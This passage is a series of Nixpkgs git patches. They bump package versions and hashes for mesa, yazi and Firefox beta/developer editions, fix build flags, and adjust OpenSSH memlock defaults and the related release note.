-  withLinuxMemlock ? stdenv.hostPlatform.isLinux,
+  # Currently disabled when PAM support is enabled due to crashes
+  # See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103418
+  withLinuxMemlock ? (stdenv.hostPlatform.isLinux && !withPAM),
   linkOpenssl ? true,
   isNixos ? stdenv.hostPlatform.isLinux,
 }:

From 5a62706b79eecc698298b23c918b09da1a231622 Mon Sep 17 00:00:00 2001
From: Morgan Jones <me@numin.it>
Date: Tue, 27 May 2025 23:47:32 -0700
Subject: [PATCH 0179/4511] rl-2505: remove note about OpenSSH memlocking

See 39c7929c6ec3c584d01b69c63914a1eaf9eef3ab for more details.

(cherry picked from commit 42a6689a17eb69046c5bb26aa5eee0d30f017242)
---
 doc/release-notes/rl-2505.section.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/release-notes/rl-2505.section.md b/doc/release-notes/rl-2505.section.md
index ebd6dee23041..8a395089426d 100644
--- a/doc/release-notes/rl-2505.section.md
+++ b/doc/release-notes/rl-2505.section.md
@@ -28,7 +28,7 @@
   - Applications linked against different Mesa versions than installed on the system should now work correctly going forward (however, applications against older Mesa, e.g. from Nixpkgs releases before 25.05, remain broken)
   - Packages that used to depend on Mesa for libgbm or libdri should use `libgbm` or `dri-pkgconfig-stub` as inputs, respectively
 
-- OpenSSH has been updated from 9.9p2 to 10.0p2, dropping support for DSA keys and adding a new `ssh-auth` binary to handle user authentication in a different address space from unauthenticated sessions. Additionally, we now enable a configure option by default that attempts to lock sshd into RAM to prevent it from being swapped out, which may improve performance if the system is under memory pressure. See the [full changelog](https://www.openwall.com/lists/oss-security/2025/04/09/1) for more details.
+- OpenSSH has been updated from 9.9p2 to 10.0p2, dropping support for DSA keys and adding a new `ssh-auth` binary to handle user authentication in a different address space from unauthenticated sessions. See the [full changelog](https://www.openwall.com/lists/oss-security/2025/04/09/1) for more details.
 
 - Emacs has been updated to 30.1.
   This introduces some backwards‐incompatible changes; see the NEWS for details.

From 1e715ce35645c8999904b219333efb495897b99b Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Wed, 28 May 2025 13:36:46 +0200
Subject: [PATCH 0180/4511] nixVersions.nix_2_29: fix loongarch64-linux build

(cherry picked from commit 0269995815f734088a9d547701fa1e3aafd1d256)
---
 .../package-management/nix/modular/packaging/components.nix      | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/tools/package-management/nix/modular/packaging/components.nix b/pkgs/tools/package-management/nix/modular/packaging/components.nix
index 1f11dc94d98a..144f75a61331 100644
--- a/pkgs/tools/package-management/nix/modular/packaging/components.nix
+++ b/pkgs/tools/package-management/nix/modular/packaging/components.nix
@@ -155,6 +155,7 @@ let
       // lib.optionalAttrs (
         stdenv.isLinux
         && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")
+        && !(stdenv.system == "loongarch64-linux")
         && !(stdenv.hostPlatform.useLLVM or false)
       ) { LDFLAGS = "-fuse-ld=gold"; };
   };

From 24ab7a00d3abdebfef744c893cdc3c5b6b1a2710 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 28 May 2025 19:40:19 +0300
Subject: [PATCH 0181/4511] mesa: 25.0.6 -> 25.0.7

Diff: https://gitlab.freedesktop.org/mesa/mesa/-/compare/mesa-25.0.6...mesa-25.0.7

Changelog: https://docs.mesa3d.org/relnotes/25.0.7.html
---
 pkgs/development/libraries/mesa/common.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/mesa/common.nix b/pkgs/development/libraries/mesa/common.nix
index ae76873b96a3..55e88c482522 100644
--- a/pkgs/development/libraries/mesa/common.nix
+++ b/pkgs/development/libraries/mesa/common.nix
@@ -5,14 +5,14 @@
 # nix build .#legacyPackages.x86_64-darwin.mesa .#legacyPackages.aarch64-darwin.mesa
 rec {
   pname = "mesa";
-  version = "25.0.6";
+  version = "25.0.7";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
     owner = "mesa";
     repo = "mesa";
     rev = "mesa-${version}";
-    hash = "sha256-SuSs8rwcu3GizOFfoUQZkVfwS1gxihgnmIGnD90YS54=";
+    hash = "sha256-zG/L2MArG6e4SRPii5uwQvYSWxGuAWCI/dNzEn8CB9c=";
   };
 
   meta = {

From c7b051f0afb5de3708f147c6847de6dfb0219b9a Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 28 May 2025 18:52:47 +0200
Subject: [PATCH 0182/4511] python3{13,14}FreeThreading: pass interpreter as
 self

Otherwise the package set will be the same as that of the overriden
interpreter.

(cherry picked from commit f83e7a305fbb57780ca2d81d7c1a29063125ae70)
---
 pkgs/top-level/all-packages.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index c112851029c1..d0f340251309 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6643,10 +6643,12 @@ with pkgs;
 
   # https://py-free-threading.github.io
   python313FreeThreading = python313.override {
+    self = python313FreeThreading;
     pythonAttr = "python313FreeThreading";
     enableGIL = false;
   };
   python314FreeThreading = python314.override {
+    self = python314FreeThreading;
     pythonAttr = "python313FreeThreading";
     enableGIL = false;
   };

From e6d4a7a0520736b2ef879aadc4e7cf24630bce40 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 28 May 2025 18:03:02 +0300
Subject: [PATCH 0183/4511] yazi: 25.4.8 -> 25.5.28

Changelog: https://github.com/sxyazi/yazi/releases/tag/v25.5.28
Diff: https://github.com/sxyazi/yazi/compare/v25.4.8...v25.5.28
(cherry picked from commit 978c04ed74800486689b68d6e9d4399308519966)
---
 pkgs/by-name/ya/yazi-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ya/yazi-unwrapped/package.nix b/pkgs/by-name/ya/yazi-unwrapped/package.nix
index 6b5a3a724f28..25f0becdca75 100644
--- a/pkgs/by-name/ya/yazi-unwrapped/package.nix
+++ b/pkgs/by-name/ya/yazi-unwrapped/package.nix
@@ -8,18 +8,18 @@
 }:
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "yazi";
-  version = "25.4.8";
+  version = "25.5.28";
 
   srcs = builtins.attrValues finalAttrs.passthru.srcs;
 
   sourceRoot = finalAttrs.passthru.srcs.code_src.name;
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-RqAolwIQqJQo9cVZ1uA0D+6yAmQKN2a7Uk3f4b/FjHU=";
+  cargoHash = "sha256-g+6RawDZsgYnXiybhaiosOfz/k4LHe5iX+VqHikfPzM=";
 
   env.YAZI_GEN_COMPLETIONS = true;
   env.VERGEN_GIT_SHA = "Nixpkgs";
-  env.VERGEN_BUILD_DATE = "2025-04-08";
+  env.VERGEN_BUILD_DATE = "2025-05-28";
 
   nativeBuildInputs = [ installShellFiles ];
   buildInputs = [ rust-jemalloc-sys ];
@@ -42,7 +42,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       owner = "sxyazi";
       repo = "yazi";
       tag = "v${finalAttrs.version}";
-      hash = "sha256-oxO7nT4AZJilxA2DliYk57NETHu78xQ8nFdV+UwyKHE=";
+      hash = "sha256-z+dh1lO6lvStlv58mi5T/cxYdewo2+5bRSO7naVcHMs=";
     };
 
     man_src = fetchFromGitHub {

From 58c42d5fe6ec876f88270b6722ed732b12321243 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 17:22:18 +0000
Subject: [PATCH 0184/4511] firefox-devedition-unwrapped: 138.0b9 -> 140.0b2

(cherry picked from commit 0ffe03a91899a323965ee52c74de9268e2114fd1)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 79b2e0745b44..77b5c35b6748 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "138.0b9";
+  version = "140.0b2";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "cf737b8c394150430cda512a84ebdf04426db0c413863eb37a327c44fc952db7de1be07956aaded3ddb769480fb307a102c1f4f7dab4ba8a38f2371fdd35a961";
+    sha512 = "4a369638dab1202f21f071a1eb48552888adf01e49ee4e029dfe7b42919312719004099b203a066057fd4d9ef9a684e5f95b0aa06ecf82cc88df0025f33f6368";
   };
 
   meta = {

From 7f418558ea4bd18bfd1c8190888f6f170e855724 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 17:22:37 +0000
Subject: [PATCH 0185/4511] firefox-beta-unwrapped: 138.0b4 -> 140.0b2

(cherry picked from commit b831f39f79b62fd9c3f0d9c1a7f62be6bf2f7787)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index a4231f204e28..8a69a594d02f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "138.0b4";
+  version = "140.0b2";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "a8f9e645c80d9c40b0435ee00261aa9fcac801efcfcbf42b10e6af9390290b9f643358aca6a01d9465eab3b64f46b2b71b4a3ea4c7e0a8f96bdfce15bf817f92";
+    sha512 = "c8010b6cdf90f52d5105971d726139460a0194ca7e84ed57184897f4f258957ff64117ef14a38a6dba4cab3074f3a92aee0eaf221ecf22218f6408636ab9c960";
   };
 
   meta = {

From df6e55d4f3ba111a0c205650e1314266d2a27ff3 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 17:22:58 +0000
Subject: [PATCH 0186/4511] firefox-devedition-bin-unwrapped: 139.0b3 ->
 140.0b2

(cherry picked from commit dcab281674561967203dbb92e20cb969236b5473)
---
 .../firefox-bin/developer-edition_sources.nix | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
index 40ef23e60fdf..e751c29b4659 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "139.0b3";
+  version = "140.0b2";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ach/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ach/firefox-140.0b2.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "fd57bc7e6844cedf2c85e685246c42d929d3156a77e1d0ded40b8bca1099d5a7";
+      sha256 = "6304038c471eb73b1c8581f0d0812ba328de0f8d7db7f2b17f587e194754d2a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/af/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/af/firefox-140.0b2.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "5fdb91b4dee48d1ca0a4191b6d4be2ea44bc2b1513efa50434b763f1fcd9d69e";
+      sha256 = "8cd9c38cce4f6672d7c1017e1309f65481af918314a4ceb43c6acd20ac1bba2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/an/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/an/firefox-140.0b2.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "ddb7dea1828c4906c5a6126f1d325d4eafade0a247d0f22fcc9c4e212bb79010";
+      sha256 = "2380b688d5f54edb3b0a5ec3fa7adc5f6f01513551a3d02bfed1a0ada05ddc05";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ar/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ar/firefox-140.0b2.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "cf581f622fb37c71e2886fd122bdc826600ab04cb8a2a5725905d29ea087157a";
+      sha256 = "fde74a9a25843aa6141c796958f9cef020b3265a9578aa63a268365cc1be8e69";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ast/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ast/firefox-140.0b2.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "436e4ab12e59de6b5cb5cba78d3e68db43e0408460ba46b25b81e03effd71eb0";
+      sha256 = "3112d67a4d293f672694661266791521d16e3cde918eedf65f3157e9a2b9f008";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/az/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/az/firefox-140.0b2.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "1d62aa36c32b2dc2f4af25ba12679436bcf79e50c2b73db1624e4fd7bf46933b";
+      sha256 = "1904894b09994f8f9ffccc32a295237ffb94779787ff04e2f427416d0912f319";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/be/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/be/firefox-140.0b2.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "f054bea6716d06ef8aecbbf147d3c81cb61f514e82ad57f515204aa176abc33d";
+      sha256 = "9393160070ed056e5d1568e90f68ebdd13323e894b79fd05afea64f207231131";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/bg/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/bg/firefox-140.0b2.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "ffb4c108609792de752947becc51c2e2975e90ea0fe46d44601c186f804eab49";
+      sha256 = "c521605cfd30f37dffb5b1063d18f40c35d843782480befa7b4e3a91c9960b80";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/bn/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/bn/firefox-140.0b2.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "877a26a16590cde1bcd678b0d419bec76f09cf4be230d0fc93fddf751c08b13e";
+      sha256 = "3d31bd1fbd7d9cac8ce4c4a9f1ed2595d17319dbe640aa8d07b96fce80abba28";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/br/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/br/firefox-140.0b2.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "55bd564631ecc2614080ce653ad5312ec5d7de98df948b1bbe8dd9e613cc77a5";
+      sha256 = "39c1e6cfca4001c63698e066753269d29328fd3188f9fd2ee8c89a35b72da079";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/bs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/bs/firefox-140.0b2.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "f33fbced526a89acab9fc34a860e4811cb83842a583f6d7871d11152ff1fee4c";
+      sha256 = "406e850b89cf20211936221b208bc164a8a73b02fc5d6a9bf791cdf7a7e9c439";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ca-valencia/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ca-valencia/firefox-140.0b2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "d9c250c770914d018f596cb15ff87c0d009ef0121a040f09c1c2e8c95e415570";
+      sha256 = "0093fcdc460bc29b826f66da5711bba2b70fe584c41c830e2555f71f33111baf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ca/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ca/firefox-140.0b2.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "1a675352282c3fb2966287a0e763defc6f259ea396ee17c9ba4d71e79ce263ad";
+      sha256 = "9ed9e2eeb261926aa79faa89122887e7ad0a07b2dd764f05ef140e709a413779";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/cak/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/cak/firefox-140.0b2.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "3a672f2a6b1132d0cc37c9fac289c7029588d585e887a05943e01d2df0059562";
+      sha256 = "1b4b3619ef9114b3713a64aa5afec1f33861dc6335bcce5449b86676f4b6a0ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/cs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/cs/firefox-140.0b2.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "f83bde54b11b0cb95c49a953d74f5d9dba8351e775ddb53238debeee26ab558b";
+      sha256 = "89ada949f223c2579be305656a3dcbdead12465bde6d6ee2a464bb3c92455e77";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/cy/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/cy/firefox-140.0b2.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "6876cb45e012664a3ddeeb8d833a28d97af191b3653a850393ba24c850c1c327";
+      sha256 = "4c18ce881a44473dd2e4e5ad1b7732bfafbac5519d92e036ee59f61319d2de4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/da/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/da/firefox-140.0b2.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "438f790a0a0c8648c9d265a4e3d487d87ffd6b41beb91bddc8b60e538e2a7d40";
+      sha256 = "d00cecaa47c94d895a6b94e155e8e24fa43abdd83d9f96aacdc34a1c70b2d6eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/de/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/de/firefox-140.0b2.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "70d4882852da68a7e431de93377cb7b7a1f68b906c2b3332f6b65ec705f5256b";
+      sha256 = "6039041822411f42a6757c4f53f85f1036c2094b8e8a8d8ec6a26f3c1abe521e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/dsb/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/dsb/firefox-140.0b2.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "7e845675e5a334b6080505f62790e6dda22aca0f07af1e1599faa9b2478ac3f0";
+      sha256 = "9845539a1db4a76ce1f31047471815f2a2ca4adef51d2b56c6fe487f7b9eafb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/el/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/el/firefox-140.0b2.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "07675440e77b87a0b64a83b28e59be294fc559f7fe4d5d6506cd34fe4dfa69f7";
+      sha256 = "b468c6b5ca6163aeb94ec45ef16fb856cc02a75fc55d939d2aab6181a777d8f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/en-CA/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/en-CA/firefox-140.0b2.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "988e4e463a5e3684df5633e11e5e37dace06626bb20e04b1b69e9ef089d962cc";
+      sha256 = "ebadf4008439945b4909f0b4bc68515e89837ea871fe09c76dfd78e194469797";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/en-GB/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/en-GB/firefox-140.0b2.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "b1c268a2c350a065e37cf259c81b6e535c0597c15e046fbac6dbcc064625bcdf";
+      sha256 = "f73ac36adeae16e5b0a383dd65ccde3946072de55094b52259cf96b5ee78d732";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/en-US/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/en-US/firefox-140.0b2.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "7a5f6f3816f25442272606ed5e45a9db22c507f0ceaec5858e55d02e4dc10d54";
+      sha256 = "ab17cf4f447bc681649903aca837c950f62e7fee004eaaa9fc2c894f6d001891";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/eo/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/eo/firefox-140.0b2.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "b36ab4a47cb20b07b1c1ac77c3cd24fb850feb40261d398bc0b1f16d7e1f0e1f";
+      sha256 = "6f61eb153692e3de7bf83da4670c44d524aee1761aec5c8e54c9fef3ac843d72";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/es-AR/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-AR/firefox-140.0b2.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "cd03f278e58beb350683174d9614b78e41f2f0ec1552d50882dc1c405bc37ee6";
+      sha256 = "1ad06fdea8283a58544922066eedb16801d07ad7ed72cc6fc817a33f36741e69";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/es-CL/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-CL/firefox-140.0b2.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "1ff43a0e99f0f540944209470ae660756cd41a1b9e5fa267a78cdfa1b6ddb287";
+      sha256 = "79963ea997d12e82e245364556fd7c4deceacdaeb1e0c7e4376c7e10df6d5eca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/es-ES/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-ES/firefox-140.0b2.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "9a8abef988292db0d3e2b7d728770d6e8b397f90493acba75b2910ff348114dc";
+      sha256 = "cc966099a59e66bfddfae99a9a5874490ed5716fd5af99b9db03e3f13125dd80";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/es-MX/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-MX/firefox-140.0b2.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "f76653c3b4a3d7244eef6adb61ea79903f42133deb4ec5c93715cbe06dbaa1e9";
+      sha256 = "ad8b1bf472d0a377fea8e0f5b532a144b397d1447ae85c7c14f871d9029cab19";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/et/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/et/firefox-140.0b2.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "3f725c9a2c84f3eb329d321ddd4b3a3ea6a21cf64fb3f18dd0fb681af378b007";
+      sha256 = "296e93456cc6e9027d187ca7b59923acd330066b36829f8140ca16d4ec423d20";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/eu/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/eu/firefox-140.0b2.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "bec67bfbfae8f1a0969c1bd083d200db25e9d7efadea0192955e2ca5be3a506d";
+      sha256 = "9269d0e584c4d004d6cb2c6f3d3859329947fada0413141b77cab3e4270e594d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/fa/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fa/firefox-140.0b2.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "c37543777fc3c90368768c730398c1782400f94e05b26601cb6068f0b947284f";
+      sha256 = "02a5f409e51ec0010f551afde246a7b405a642fbdc9c85e8e021c7bbacc298b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/ff/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ff/firefox-140.0b2.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "cd4af2a894a4a6f523aced106bad12f91ec41ae9409d0a5b32a1ee99f09c184a";
+      sha256 = "89a1e5d4e8d81ed4c3e2b0db3cb82acfe85f00c7875a993d9ef97a895a2c1e8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/fi/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fi/firefox-140.0b2.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "7e9e1692e2d870375e17d8f91be4808118409088160bc61df8d2ea99fc4879b6";
+      sha256 = "feb7014dad2848a0e70bf2cb6f59fd7cbe4526566e9517ca636c7f81af1fd227";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/fr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fr/firefox-140.0b2.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "2d1eb3ef8903cf00994a8b0b249cc806f0085b8ac4de11da66cc0611ec9ca62c";
+      sha256 = "d8c21f84f555a7ed705d7a21098151195a18a1ceeb8838a6204aa8b346e3b77e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/fur/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fur/firefox-140.0b2.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "1b6a9f6592e3b2d35553c39b8bd59a1d0e7975c16d6e742fb748fc5071e61c8d";
+      sha256 = "df6870ff18a549566f89c864349f6e1b1be1e996af61a23f6ba8c8ebdc43ea99";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-x86_64/fy-NL/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fy-NL/firefox-140.0b2.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "9bea116bfd10e2687fd903fa533642f9380901196a4068a8d19d05176aa9b8df";
